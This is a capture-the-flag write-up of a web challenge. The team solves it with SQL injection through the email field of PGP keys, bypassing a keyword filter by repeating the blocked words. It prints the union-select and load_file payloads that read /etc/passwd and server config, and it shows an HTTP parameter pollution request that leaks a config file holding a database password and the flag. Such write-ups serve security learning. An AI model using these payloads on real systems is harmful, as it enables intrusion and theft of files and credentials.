Challenge description:

Professor M. Eista Hax uses a digital tool to manage all his students. He is very happy with the system, but it does have one drawback: it does not support multiple users. This is a problem, because M. Eista Hax has employees who need access as well. To solve this he writes a super modern, highly encrypted web application to share the password with authorized users. Problem solved.

So… Get that key!

by lama

On the page was a login form and we were able to register an account using a pgp public key. After submitting the public key the server responded with an encrypted pgp message:

Challenge Pic

We then used gpg to decrypt the message:

gpg --decrypt-files test.ac && cat test

Hello autoauto@test.de, here is your password: FfLL4ZRtIE6XqpsehDNYYwhh2MGhWD. Your account has to be activated by an admin.%

We registered a user but we were not able to login, because the account was not activated. We saw that the server was using the email from the pgp public key, maybe there is some database we can attack. Because gpg was checking the email we first tried to inject into the name field and comment field of the key, but that wasn’t really working. We ended up using https://pgpkeygen.com/ a client-side PGP key generator written in javascript. There were basically no restrictions on the email.

You could also patch the pgp keygen.c so the email isn’t validated like so:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
if( !amail ) {
    for(;;) {
        xfree(amail);
        amail = cpr_get("keygen.email",_("Email address: "));
        trim_spaces(amail);
        cpr_kill_prompt();
        if( !*amail || opt.allow_freeform_uid )
            break; 
        /* plz dont check, thx
        else if ( !is_valid_mailbox (amail) )
            tty_printf(_("Not a valid email address\n"));
        */
        else
            break;
    }
}

This next part took us pretty long as we had to generate a lot of keys and sometimes the server would not respond with anything. (This was due to the time of the server and our time not matching so that for the server the key was generated in the future. This was fixed later, see Update 1.)

After some time we got an interesting response using the following email address: testdsakdsahdsgahdsauzdgsa@test.de' or 1=1 -- f

1
2
3
4
5
6
7
8
    Account already existing:  
    (1) testdsakdsahdsgahdsauzdgsa@test.de' or 11 -- f [same key]  
    (2) testdsakdsahdsgahdsauzdgsa@test.de' or 11 -- f [same key]  
    (3) testdsakdsahdsgahdsauzdgsa@test.de' or 11 -- f [same key]  
    (4) testdsakdsahdsgahdsauzdgsa@test.de' or 11 -- f [same key]  
    (5) testdsakdsahdsgahdsauzdgsa@test.de' or 11 -- f [same key]  
    
    [...] 

Our injection worked but it was filtered as the “=” was removed! So we tried to see which words were blacklisted and if we could bypass it. It turned out that the following words and chars are removed: ( ) % = union select. We also found out that only the first occurrence of a word or char was removed. So it was pretty trivial to bypass the filter.

Next we had to figure out how many columns we had in the select statement using order by.

union union ' order by 4 -- -

Hello union ’ order by 4 – -, here is your password: RTRmG6EZ6QTbRJ1F9znrYTp6AiEQ2C. Your account has to be activated by an admin.%

()%%()' order by 5 -- f

Hello %()’ order by 5 – f, here is your password: vYzv3I5BQE2nq2wR1meigzCDIXu2x4. Your account has to be activated by an admin.%

sadsadsa' order by 6 -- f

plaintext Account already existing: %

()union select adsada' union select version(),2,3,4,5 -- f

Account already existing: (5.5.44-0ubuntu0.14.04.1) adsada’ union select version(),2,3,4,5 – f [different key]%

Ok nice that is working. (You can see that the filter is pretty easy to bypass.)

At this part, we were pretty happy we got so far. But we hated the process of generating and decrypting everything manually. Luckily, the first thing we tried next was reading files from the server using “load_file” before checking the database for more information. It worked! 😀

1
union select () sadsada' union select load_file('/etc/passwd'),2,3,4,5 -- f
1
2
3
4
5
6
Account already existing: (  
root:x:0:0:root:/root:/bin/bash  
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin  
bin:x:2:2:bin:/bin:/usr/sbin/nologin  
sys:x:3:3:sys:/dev:/usr/sbin/nologin  
[...]

The first thing that came to mind was: Nice, let’s download the source code of the page. (later a hint was published as many teams got stuck here) Triggering a 404 error (curl https://school.fluxfingers.net:1501/asdf) shows that the server is running lighttpd/1.4.33 (Ubuntu 14.04.3 LTS). Ok, let’s get the config file:

/etc/lighttpd/lighttpd.conf:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
(server.modules = (
    "mod_access",
    "mod_alias",
    "mod_compress",
    "mod_redirect",
        "mod_rewrite",
)

server.document-root        = "/var/www/public"
server.upload-dirs          = ( "/var/cache/lighttpd/uploads" )
server.errorlog             = "/var/log/lighttpd/error.log"
server.pid-file             = "/var/run/lighttpd.pid"
server.username             = "www-data"
server.groupname            = "www-data"
server.port                 = 1501
server.errorfile-prefix     = "/var/www/error/"
server.error-handler-404    = "404.html"


index-file.names            = ( "index.pl" )
url.access-deny             = ( "~", ".inc" )
static-file.exclude-extensions = ( ".php", ".pl", ".fcgi" )


compress.cache-dir          = "/var/cache/lighttpd/compress/"
compress.filetype           = ( "application/javascript", "text/css", "text/html", "text/plain" )


# default listening port for IPv6 falls back to the IPv4 port
## Use ipv6 if available
#include_shell "/usr/share/lighttpd/use-ipv6.pl " + server.port
include_shell "/usr/share/lighttpd/create-mime.assign.pl"
include_shell "/usr/share/lighttpd/include-conf-enabled.pl"

Good, some interesting stuff but it is PERL 😨.

Anyway lets download /var/www/public/index.pl:

index.pl

This part took us pretty long as we basically had never liked perl. worked with perl. We saw that we had to login to get the flag:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
my $cfg = Config::IniFiles->new(-file => "../private/config.ini");


if ($email && $password) {
    if (do_login($email, $password)) {
    print 'The administration key for the grades is ' . 
        $cfg->val('CTF', 'Flag') . '.';
    } else {
        print 'Wrong login data or deactivated account.';
    }

We tried to read the config.ini with load_file but no luck. It seemed that we didn’t have the rights to read the private folder. So we kept looking.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
my %templates = (
    header => 'templates/header.html',
    footer => 'templates/footer.html',
    form => 'templates/form.html',
    error => $query->param('error')


[...]


print_template($templates{form});
print_template($templates{footer});


[...]
sub get_template {
    my $filename = shift;


    open (FILE, $filename);
    my $output = ;
    close(FILE);


    return $output;
}
);

We could have set the GET parameter error to /var/www/private/config.ini but unfortunately the error template was never printed. Still, this was odd. After some trial and error we found this blog post. It shows a bug using a Perl-specific problem almost identical to the one here. It is basically a HTTP Parameter Pollution attack as $query->param('error') can return a scalar or an array, depending on the context. We can use this to overwrite the header template file and get the flag that way. (Check the blog post for more details.)

https://school.fluxfingers.net:1501/?error=a&error=header&error=/var/www/private/config.ini

1
2
[Database] Password=ghjASGe46456fghSADVukdgdfg 
[CTF] Flag=flag{perlroxorsyourboxors}

Overall this challenge was really fun to solve. Thanks lama, for such an awesome challenge.


Update 1

For some users the time of the server and their own time did not match, so for the server the key was generated in the future. By default this means that GPG does not encrypt a message and stops instead. The site now uses –ignore-valid-from, so this should hopefully not happen anymore. If the output is still empty after uploading a valid public key please let us know in the IRC channel.

Hint 1

You do not have to break crypto to solve this task. It also does not include any low-level exploiting.

Hint 2

The first step to solve this challenge is to get the source code of the site. You will need it to solve the second part, i.e. the bug is in the script.